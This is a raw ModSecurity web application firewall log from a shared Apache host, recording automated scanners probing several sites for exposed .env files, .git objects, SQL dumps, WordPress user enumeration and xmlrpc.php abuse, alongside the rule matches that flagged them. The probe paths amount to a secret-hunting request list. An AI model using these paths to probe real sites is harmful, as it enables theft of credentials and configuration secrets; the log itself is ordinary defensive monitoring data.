alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE93OfvF1ly0gx5reNmDqgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038329679664 940510 (- - -) Stopwatch2: 1750038329679664 940510; combined=2814, p1=475, p2=1911, p3=47, p4=68, p5=191, sr=137, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cce90b57-Z-- --c6601e4f-A-- [16/Jun/2025:07:15:39.964689 +0530] aE93Q-Mjvy_LHXlMeRAUWAAAAAU 141.101.76.23 45198 127.0.0.1 7081 --c6601e4f-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 141.101.76.23 X-Forwarded-For: 45.94.31.111 Connection: close cf-ray: 9506a106fffdf5b4-AMS cdn-loop: cloudflare; loops=1 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 accept-encoding: gzip, br x-forwarded-proto: https cf-ipcountry: NL cf-connecting-ip: 45.94.31.111 cf-visitor: {"scheme":"https"} --c6601e4f-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --c6601e4f-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE93Q-Mjvy_LHXlMeRAUWAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038339729928 234879 (- - -) Stopwatch2: 1750038339729928 234879; combined=1867, p1=340, p2=1419, p3=0, p4=0, p5=107, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6601e4f-Z-- --15ce140b-A-- [16/Jun/2025:07:16:30.519407 +0530] aE93dYkQyF8-ounHsxsHwwAAAA8 128.199.112.101 47906 127.0.0.1 7081 --15ce140b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --15ce140b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --15ce140b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE93dYkQyF8-ounHsxsHwwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038389585670 933794 (- - -) Stopwatch2: 1750038389585670 933794; combined=2332, p1=397, p2=1588, p3=39, p4=54, p5=160, sr=120, sw=94, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15ce140b-Z-- --3fd5d55c-A-- [16/Jun/2025:07:17:15.030274 +0530] aE93ovvF1ly0gx5reNmD4AAAAAE 185.177.72.210 37346 127.0.0.1 7081 --3fd5d55c-B-- GET /layout/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3fd5d55c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7a976506b1654aef1f7a15639c6464b51750038434; expires=Mon, 16 Jun 2025 02:47:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3fd5d55c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/layout/.env"] [unique_id "aE93ovvF1ly0gx5reNmD4AAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038434260207 770139 (- - -) Stopwatch2: 1750038434260207 770139; combined=1691, p1=415, p2=1166, p3=0, p4=0, p5=110, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fd5d55c-Z-- --e20e2219-A-- [16/Jun/2025:07:17:18.003348 +0530] aE93pTZ3uHeEW3BYvDO8MAAAAAA 185.177.72.210 37512 127.0.0.1 7081 --e20e2219-B-- GET /:8443/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e20e2219-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a8140f4086b2e15e77364c9ec96ccee11750038437; expires=Mon, 16 Jun 2025 02:47:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e20e2219-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/pub/.env"] [unique_id "aE93pTZ3uHeEW3BYvDO8MAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038437354341 649070 (- - -) Stopwatch2: 1750038437354341 649070; combined=1638, p1=348, p2=1200, p3=0, p4=0, p5=89, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e20e2219-Z-- --0b5cd103-A-- [16/Jun/2025:07:17:30.254846 +0530] aE93sehCUAahT1nBjTYQNwAAAAM 185.177.72.210 32998 127.0.0.1 7081 --0b5cd103-B-- GET /.git/objects/info/packs HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b5cd103-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d642bb3f4da0a8a26a85fc88914573a01750038450; expires=Mon, 16 Jun 2025 02:47:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b5cd103-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/objects/info/packs"] [unique_id "aE93sehCUAahT1nBjTYQNwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038449547650 707296 (- - -) Stopwatch2: 1750038449547650 707296; combined=1925, p1=412, p2=1395, p3=0, p4=0, p5=117, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b5cd103-Z-- --b33e584e-A-- [16/Jun/2025:07:17:30.748998 +0530] aE93seMjvy_LHXlMeRAUkQAAAAU 128.199.112.101 33020 127.0.0.1 7081 --b33e584e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b33e584e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b33e584e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE93seMjvy_LHXlMeRAUkQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038449786221 962835 (- - -) Stopwatch2: 1750038449786221 962835; combined=2328, p1=351, p2=1584, p3=41, p4=68, p5=180, sr=94, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b33e584e-Z-- --f6f25e07-A-- [16/Jun/2025:07:17:32.112759 +0530] aE93s_v_9qNKLXJRkuZgaAAAAAs 185.177.72.210 33104 127.0.0.1 7081 --f6f25e07-B-- GET /:5601/.env.www HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f6f25e07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4c82aab70a1f1b4327ca945997f7213d1750038451; expires=Mon, 16 Jun 2025 02:47:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f6f25e07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.www"] [unique_id "aE93s_v_9qNKLXJRkuZgaAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038451437655 675183 (- - -) Stopwatch2: 1750038451437655 675183; combined=2051, p1=443, p2=1500, p3=0, p4=0, p5=107, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6f25e07-Z-- --3543444e-A-- [16/Jun/2025:07:17:34.171935 +0530] aE93tYkQyF8-ounHsxsH4AAAAA8 185.177.72.210 33196 127.0.0.1 7081 --3543444e-B-- GET /htdocs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3543444e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a0a27327e33f4edfee0a3d28d3c84d411750038454; expires=Mon, 16 Jun 2025 02:47:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3543444e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/htdocs/.env"] [unique_id "aE93tYkQyF8-ounHsxsH4AAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038453474623 697398 (- - -) Stopwatch2: 1750038453474623 697398; combined=1678, p1=358, p2=1211, p3=0, p4=0, p5=109, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3543444e-Z-- --d77f073d-A-- [16/Jun/2025:07:17:46.913098 +0530] aE93wroFnONBt7jRcByWwAAAAA4 185.177.72.210 48652 127.0.0.1 7081 --d77f073d-B-- GET /:8443/api/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d77f073d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9f79caf60ad4b493c6ef47039420da021750038466; expires=Mon, 16 Jun 2025 02:47:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d77f073d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/api/.env.staging"] [unique_id "aE93wroFnONBt7jRcByWwAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038466261294 651868 (- - -) Stopwatch2: 1750038466261294 651868; combined=1664, p1=361, p2=1207, p3=0, p4=0, p5=95, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d77f073d-Z-- --47abed60-A-- [16/Jun/2025:07:18:05.831242 +0530] aE931boFnONBt7jRcByWxwAAAA4 185.177.72.210 43006 127.0.0.1 7081 --47abed60-B-- GET /customers.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --47abed60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=81d91e4838c2c33e0f276df37eaa21db1750038485; expires=Mon, 16 Jun 2025 02:48:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --47abed60-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/customers.sql"] [unique_id "aE931boFnONBt7jRcByWxwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038485180797 650525 (- - -) Stopwatch2: 1750038485180797 650525; combined=2020, p1=351, p2=1544, p3=0, p4=0, p5=124, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --47abed60-Z-- --a93ee11d-A-- [16/Jun/2025:07:18:19.229707 +0530] aE934roFnONBt7jRcByW0QAAAA4 185.177.72.210 46154 127.0.0.1 7081 --a93ee11d-B-- GET /:8880/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a93ee11d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b8805f31e96bba938a51d5bb827457471750038499; expires=Mon, 16 Jun 2025 02:48:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a93ee11d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.txt"] [unique_id "aE934roFnONBt7jRcByW0QAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038498590655 639116 (- - -) Stopwatch2: 1750038498590655 639116; combined=1623, p1=355, p2=1174, p3=0, p4=0, p5=93, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a93ee11d-Z-- --b6b30764-A-- [16/Jun/2025:07:18:20.214441 +0530] aE934_v_9qNKLXJRkuZggAAAAAs 185.177.72.210 58618 127.0.0.1 7081 --b6b30764-B-- GET /author.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b6b30764-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=207d8e47c72512b440593d61156f3cdf1750038500; expires=Mon, 16 Jun 2025 02:48:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b6b30764-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/author.dll"] [unique_id "aE934_v_9qNKLXJRkuZggAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038499550817 663686 (- - -) Stopwatch2: 1750038499550817 663686; combined=2276, p1=402, p2=1774, p3=0, p4=0, p5=99, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b6b30764-Z-- --e5acde4c-A-- [16/Jun/2025:07:18:21.188132 +0530] aE935IkQyF8-ounHsxsH-QAAAA8 185.177.72.210 58656 127.0.0.1 7081 --e5acde4c-B-- GET /backups/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e5acde4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f83004a565cf14f20fcf89b2f98375c61750038501; expires=Mon, 16 Jun 2025 02:48:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e5acde4c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.example"] [unique_id "aE935IkQyF8-ounHsxsH-QAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038500537569 650636 (- - -) Stopwatch2: 1750038500537569 650636; combined=2350, p1=507, p2=1717, p3=0, p4=0, p5=126, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" 